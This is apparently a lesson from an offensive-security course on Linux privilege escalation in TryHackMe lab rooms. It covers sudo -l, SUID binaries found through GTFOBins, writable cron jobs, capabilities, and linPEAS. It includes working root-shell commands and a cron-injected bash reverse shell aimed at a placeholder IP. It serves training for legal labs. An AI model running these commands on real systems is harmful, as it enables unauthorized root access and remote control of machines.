Step 253. THM Linux Privesc Rooms (13 Cumulative) — After the Shell, All the Way to root
Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★★☆ | Estimated time: 5 hours
Prerequisites: Step 125~126 (privesc intro, enumeration automation with linPEAS), Step 251~252 (THM environment and routine, 8 cumulative).
- What you need: Step 251~252’s THM environment and routine document, WSL Ubuntu (for local practice of enumeration commands — measured: Ubuntu 24.04).
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. TryHackMe is a legal learning platform — do not use today’s techniques on anything other than this platform’s room machines and your own WSL.
- Measurement note: the enumeration command outputs in 3-2~3-4 are measured on my WSL (2026-09-09), while the screens and escalation scenes on THM machines are screen examples.
This stretch targets machines where the shell works but root doesn’t. The real-world patterns of Linux privilege escalation (privesc) are fixed — SUID (GTFOBins), sudo -l, cron-writable files, capabilities, kernel exploits, NFS no_root_squash. Those six branches you learned in Step 125~126 — now you train by checking them off one by one on real machines.
Today’s completion criteria are 13 cumulative rooms and a privesc pattern notebook. Recording "which pattern got me up" for every machine — with 13 machines accumulated, the patterns’ frequency of appearance becomes visible, and that frequency becomes your search order going forward.
1. Learning Objectives
By the end of this chapter, you will be able to:
- Run the first command set right after getting a shell (sudo -l → SUID → cron → passwd permissions) in order
- Cross-reference SUID binaries against GTFOBins to find an escalation path
- Discover cron-job writable files and know how to wait for the execution cycle
- Manually verify linPEAS results to distinguish "tool candidates" from "actual paths"
- Record the escalation pattern per machine to complete a personal privesc pattern notebook
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | THM machine shells (mostly bash/sh) + WSL for local practice |
| Today’s commands | sudo -l, find / -perm -4000, cat /etc/crontab, getcap -r / |
| Concepts needed | SUID, GTFOBins, cron jobs, capabilities, NFS no_root_squash, manual verification |
| Today’s deliverable | 13 cumulative rooms completed + privesc pattern notebook v1 |
2-1. Review — The Six Escalation Branches
Let’s unfold the big branches of Linux privesc from Step 125 again.
① SUID binaries — convert root-owned executables with the SUID bit via GTFOBins
② sudo rights — convert commands shown by sudo -l via GTFOBins
③ cron jobs — when a script root runs periodically is writable
④ capabilities — binaries with dangerous capabilities attached, found by getcap
⑤ kernel exploits — public exploits against old kernels (last resort)
⑥ NFS no_root_squash — bypass via shared folders
Most real machines end at ①~③. So the search order starts at ①~③ too — checking in frequency order is fastest.
2-2. GTFOBins — The Conversion Dictionary for SUID and sudo
GTFOBins (gtfobins.github.io) is a dictionary collecting "how to use this binary for privilege escalation." When something turns up in sudo -l or the SUID list, your first action is to search that command on GTFOBins.
One core instinct: if the list shows something that is not an ordinary system command, it’s almost always the answer. If everyday tools like find, vim, python, less, tar carry sudo or SUID, that’s a ladder the author planted.
2-3. cron — The Attack That Waits
cron runs scripts as root at scheduled times. If a regular user can write to that script file, change its contents, and root-privileged code runs at the next execution.
The defining trait is waiting — it fires not the moment you modify it, but at the next execution cycle. Reading the execution times in /etc/crontab and, if needed, waiting 1~2 minutes with composure is part of this pattern.
2-4. Tools Give Candidates; Humans Verify
linPEAS (Step 126) paints escalation candidates in color. But not every red candidate is an actual path — there are false positives, and candidates whose conditions don’t match. Today’s training is re-checking the candidates linPEAS points out with manual commands. Don’t trust the tool; start from the tool.
3. Follow Along
Today’s Section 3 has two layers. In 3-1~3-4 you learn to read enumeration command output by measuring it on your own WSL; 3-5~3-6 show the application flow on THM machines (screen examples).
3-1. Preparation — The Four Opening Moves of Enumeration
Memorize the first command set to run right after getting a shell on a machine. The order is by frequency of appearance.
sudo -l # ① what can I do with sudo
find / -perm -4000 -type f 2>/dev/null # ② SUID file list
cat /etc/crontab # ③ scheduled jobs
ls -la /etc/passwd # ④ can I write to the passwd file
Below, you’ll actually run these four commands on WSL and read the output. One difference: WSL’s default account is root — on a real machine you are a regular user, which is what makes these commands "find the way up" commands. For now, focus on learning the shape of the output.
3-2. sudo -l — Reading the Permissions List
Input (measured 2026-09-09 on WSL, root account):
sudo -l
Output (measured 2026-09-09):
Matching Defaults entries for root on XI3492:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User root may run the following commands on XI3492:
(ALL : ALL) ALL
How to read the output: the last line is the key — the format is "(as whom : as whose group) what." On a real machine, if a regular user’s output looks like (root) NOPASSWD: /usr/bin/find, it means find can be run as root without a password, and GTFOBins’ find entry is immediately your escalation path. Also get familiar with the disappointing output you’ll often see in the field (screen example):
Sorry, user www-data may not run sudo on target.
In that case, ① is closed — move on to ② SUID.
3-3. The SUID List — Finding What Isn’t Ordinary
Input (measured 2026-09-09 on WSL; a full-disk scan is slow, so the scope is limited to the main paths):
find /usr /bin /sbin -perm -4000 -type f 2>/dev/null
Output (measured 2026-09-09):
/usr/lib/openssh/ssh-keysign
/usr/lib/landscape/apt-update
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/mount
/usr/bin/fusermount3
/usr/bin/gpasswd
How to read the output: this list is a healthy Ubuntu default — commands like su, sudo, passwd where SUID is functionally necessary. On real machines, something that shouldn’t be here is mixed in (screen example):
/usr/bin/find ← a name not in the default list means a ladder
Then you look up find‘s SUID entry on GTFOBins and convert it (a form like find . -exec /bin/sh -p ; -quit). Building the eye for comparison is this command’s training point — the measured list above is your "baseline of normal."
3-4. cron and passwd Permissions — Waiting and Overwriting
Input (measured 2026-09-09 on WSL):
cat /etc/crontab
Output (measured 2026-09-09, comments omitted):
SHELL=/bin/sh
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
How to read the output: the fifth field of each line is the executing user — when you see a job running as root, check the write permissions of the script or folder that command points to. Today’s measurement shows only system default jobs, but on real machines custom scripts like /opt/backup.sh appear, and such a file being writable is the trap. The schedule fields (the first five numbers) tell you the next firing time — like minute 17 of every hour.
ls -la /etc/passwd
Output (measured 2026-09-09):
-rw-r--r-- 1 root root 1490 Sep 8 21:12 /etc/passwd
How to read the output: owner root with rw-, the rest read-only — normal. If this file were -rw-rw-r-- (group-writable), the classic technique of adding a new root account in one line opens up. The check takes 1 second, but it’s a game-ending command when open, which is why it’s in the first set.
Take a look at capabilities too.
Input (measured 2026-09-09 on WSL):
getcap -r /usr/bin 2>/dev/null
Output (measured 2026-09-09):
/usr/bin/ping cap_net_raw=ep
How to read the output: ping‘s cap_net_raw is a normal default (for sending network packets). What’s dangerous in the field is an interpreter carrying a capability like cap_setuid (changing uid) — if python carries cap_setuid, that’s an immediate root shell.
3-5. Attacking THM Privesc Rooms — The Order for Checking Off Patterns (screen example)
Now let’s go to THM. Today’s room composition: isolate-train the six branches in a privesc-dedicated room (e.g., Linux PrivEsc), and practice the full "shell → root" run on regular Easy rooms to reach 13 cumulative.
Here’s the flow right after entering a machine with a shell (screen example):
www-data@target:~$ sudo -l
Sorry, user www-data may not run sudo on target.
www-data@target:~$ find / -perm -4000 -type f 2>/dev/null
...
/usr/bin/find
...
www-data@target:~$ find . -exec /bin/sh -p ; -quit
# id
uid=0(root) gid=0(root) groups=0(root)
How to read the output: ① closed → ② found → GTFOBins conversion → root. On every successful escalation, be sure to record it — "which pattern got me up." The accumulation of these records is the pattern notebook.
3-6. Manually Verifying linPEAS — Tool First, Then Human (screen example)
www-data@target:~$ ./linpeas.sh | tee /tmp/lin.txt
When a red candidate shows in the output, re-check that candidate with the manual commands from 3-1.
[linPEAS candidate] "cron job /opt/cleanup.sh is writable"
→ manual verification:
cat /etc/crontab # check the schedule and the executing user
ls -la /opt/cleanup.sh # is it really writable
echo 'bash -i >& /dev/tcp/myIP/4444 0>&1' >> /opt/cleanup.sh
# wait until the next execution cycle — cron is an attack that waits
How to read the output: even if linPEAS points out 100 things, only a few are actual paths. The habit of manual verification separates "tool dependence" from "tool utilization." And with cron, you must wait for the execution time after modifying — often it’s not that it doesn’t work, it just hasn’t run yet.
4. Missions & Exercises
Mission — 13 Cumulative and privesc Pattern Notebook v1
- Reproduce each of the six-branch patterns at least once in a privesc-dedicated room (THM Linux PrivEsc, etc.)
- Attack additional regular machines to complete 13 cumulative — prioritize machines that have a root.txt
- On every machine, keep the order of the first command set (3-1) right after the shell
- On every successful escalation, record "pattern: ____ / basis command: ____ / GTFOBins entry: ____"
- Leave a record of confirming (or rejecting) at least one linPEAS candidate by manual verification
- Gather the 13 rooms’ records into privesc pattern notebook v1 (appearance count per pattern + representative commands)
Exercises
Exercise 1. Interpret the sudo -l output (root) NOPASSWD: /usr/bin/find and describe the next action.
Exercise 2. Explain the criterion for distinguishing "normal" from "ladder" in a SUID list, using the measured list in 3-3 as your basis.
Exercise 3. Explain why "waiting" is necessary in cron-based escalation, and where you read the firing time.
Exercise 4. Explain "don’t trust the tool; start from the tool" in the context of manually verifying linPEAS.
5. Model Answers & Completion Criteria
Mission Model Answer
An example of the pattern notebook’s shape (fill the counts with your 13 rooms’ records):
# Linux privesc pattern notebook v1 (based on 13 cumulative)
| Pattern | Appeared | Representative command/conversion |
|------|------|----------------|
| SUID (GTFOBins) | _ times | find . -exec /bin/sh -p ; -quit |
| sudo -l | _ times | sudo -l → corresponding GTFOBins entry |
| cron writable | _ times | check /etc/crontab → modify script → wait for cycle |
| capabilities | _ times | getcap -r / 2>/dev/null |
| Other (NFS/kernel) | _ times | (record cases) |
### Retrospective
- _ machines solved with the first command set (_% of total)
- Machines I couldn't solve without linPEAS: _ → need more manual enumeration training
How to verify: ① 13 cumulative completion marks. ② Does each of the six branches have at least one success record? ③ Does the sum of counts in the pattern notebook match the actual records? ④ Is the "percentage solved by the first command set" computed — that percentage is the very power of the four opening moves. ⑤ Do the cron success cases include a record of "waited for the execution cycle"?
Exercise Answers
Answer 1. It means "you can run /usr/bin/find as root, without a password (NOPASSWD)." The next action is to search find on GTFOBins and convert using the sudo entry’s command — you get a root shell in a form like sudo find . -exec /bin/sh ; -quit. In the field, when something shows up in sudo -l, a GTFOBins search is almost always the answer.
Answer 2. The criterion is "was it originally present in the base system?" Today’s measured list (su, sudo, passwd, mount, fusermount3, etc.) consists of commands where SUID is functionally essential — for a user to change their own password, they must write to /etc/shadow, which requires root rights. If an everyday tool not in this list (find, vim, python, tar) appears, there’s no functional reason, so suspect a ladder planted by the author. You must know the baseline of normal to see the anomaly.
Answer 3. Because cron doesn’t execute the moment a file is modified — root executes that file at the next scheduled cycle. The firing time is read from the first five fields (minute, hour, day, month, weekday) of each line in /etc/crontab — * * * * * means every minute, 17 * * * * means minute 17 of every hour. The common sense of this pattern is not "it doesn’t work" but "it hasn’t run yet."
Answer 4. linPEAS inspects hundreds of settings and marks candidates in color, but those are "possibilities," not "confirmations" — candidates that are actually blocked, because of a different version or unmet conditions, are mixed in. So delegate the job of producing candidates to the tool, but verify with manual commands (ls -la, cat /etc/crontab, etc.) whether each is an actual path. A division of labor where the tool handles breadth and the human handles depth.
Completion Criteria Checklist
- [ ] I can enumerate the six branches without looking
- [ ] Running the first command set in order right after a shell has become a habit
- [ ] I distinguish "normal defaults" from "ladders" in a SUID list
- [ ] I can convert sudo -l results via GTFOBins
- [ ] In cron escalation, I can read the execution cycle and wait
- [ ] I have a record of manually verifying a linPEAS candidate
- [ ] I completed 13 cumulative rooms
- [ ] I wrote privesc pattern notebook v1
6. Common Pitfalls & Fixes
Wall 1. find / -perm -4000 gets buried in error messages
Symptom: dozens of Permission denied lines come up first (example output):
find: '/proc/1234/task/1234/fd': Permission denied
find: '/sys/kernel/debug': Permission denied
Cause: regular users can’t read many directories, and find prints an error to standard error each time.
Fix: discard errors with 2>/dev/null — without this redirect, the list that actually matters gets pushed off-screen. A full WSL scan can take tens of seconds, so narrow the scope during practice, like /usr /bin /sbin (see the 3-3 measurement).
Wall 2. sudo -l asks for a password
Symptom (example output):
[sudo] password for www-data:
Cause: the sudo policy is configured to require password verification.
Fix: if you already obtained the user’s password along the path that got you the shell, enter it. If you don’t know it, treat ① as closed and move to ② SUID — when one closes, move to the next branch; that’s why you memorize the six branches.
Wall 3. You typed the GTFOBins command but you’re not root
Symptom: you typed find . -exec /bin/sh ; -quit but you’re still a regular user.
Cause: a case where the shell drops privileges itself — bash/sh drops privileges when the effective uid differs from the real uid.
Fix: on the SUID path, the -p option is needed (/bin/sh -p). Transcribe the options of a GTFOBins entry exactly to the end — a single tail character decides the privileges.
Wall 4. You modified a cron script and nothing happened
Symptom: no connection arrives at the reverse-shell listener.
Cause: usually the execution cycle hasn’t come around yet, or the script has an execute-permission problem, or the listener isn’t up.
Fix: three things in order — ① re-read the cycle in /etc/crontab and wait at least 1~2 cycles. ② Check that the listener (nc -lvnp 4444) is up first. ③ Check for typos in your script modification. cron is a quiet attack — waiting is part of the procedure.
Wall 5. linPEAS output is so long you miss the actual candidates
Symptom: hundreds of lines scroll by and you can’t remember what mattered.
Cause: linPEAS is verbose — you need a reading strategy.
Fix: save it to a file and re-read only the color-highlighted parts. After ./linpeas.sh | tee /tmp/lin.txt, review the sections where warnings and candidates cluster (red/yellow marks, "99% PE vector" and the like) first. And always verify candidates with manual commands — the real-world flow isn’t reading the whole long output, it’s extracting candidates and verifying them.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| The six privesc branches | SUID · sudo · cron · capabilities · kernel · NFS |
| GTFOBins | The dictionary that converts binaries into escalation paths |
| The baseline eye | Know the normal SUID list and anomalies become visible |
| The attack that waits | cron fires at the next execution cycle, not on modification |
| Manual verification | Tools handle candidates; humans handle confirmation |
| Pattern notebook | A cumulative document of "which pattern got me up" |
Today’s Commands & Tools
| Command | What it does |
|---|---|
sudo -l |
sudo permissions list — the first command typed |
find / -perm -4000 -type f 2>/dev/null |
Full census of SUID files |
cat /etc/crontab |
Check scheduled jobs and their cycles |
ls -la /etc/passwd |
passwd writability (1-second check) |
getcap -r /usr/bin 2>/dev/null |
Capabilities survey |
./linpeas.sh | tee /tmp/lin.txt |
Automated enumeration + saving results |
An Instinct More Important Than Commands
Privilege escalation is a game of searching — knocking on "doors the system left open by mistake" in the order of the six branches. The four opening moves (sudo -l → SUID → cron → passwd) open most real machines. And the recording habit that starts today: write the pattern every time you go up. Once frequencies are visible, your search order becomes science, and that notebook becomes the map for the Medium-machine stretch. The shell is the start and root is the finish — now you know the road between them as patterns.
Once every box is checked, Step 253 is complete.